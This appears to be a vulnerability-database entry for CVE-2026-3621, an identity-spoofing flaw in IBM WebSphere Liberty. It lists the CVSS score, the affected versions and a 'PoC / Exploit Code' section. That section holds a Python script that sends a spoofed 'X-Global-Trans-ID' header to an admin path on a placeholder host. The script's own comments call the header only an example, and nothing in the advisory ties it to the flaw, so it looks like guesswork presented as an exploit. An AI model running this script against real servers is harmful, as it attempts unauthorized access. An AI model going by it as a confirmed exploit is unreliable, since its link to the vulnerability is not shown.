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CVE-2026-3621 CVSS 7.5 HIGH

CVE-2026-3621

Published: 2026-04-23 00:16:45
Last Modified: 2026-05-13 20:24:13

Description

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.4 IBM WebSphere Application Server Liberty is vulnerable to identity spoofing under limited conditions when an application is deployed without authentication and authorization configured.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:liberty:*:*:* - VULNERABLE
IBM WebSphere Application Server - Liberty 17.0.0.3
IBM WebSphere Application Server - Liberty 17.0.0.4
IBM WebSphere Application Server - Liberty 26.0.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable WebSphere Liberty application target_url = "http://vulnerable-host:9080/insecure-app/admin/resource" # Malicious headers attempting to spoof identity headers = { "User-Agent": "CVE-2026-3621-PoC", "X-Global-Trans-ID": "spoofed-admin-id" # Example header used in identity spoofing } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] PoC Successful: Identity spoofing may have occurred.") print("[+] Response:", response.text[:200]) else: print(f"[-] PoC Failed: Server returned {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

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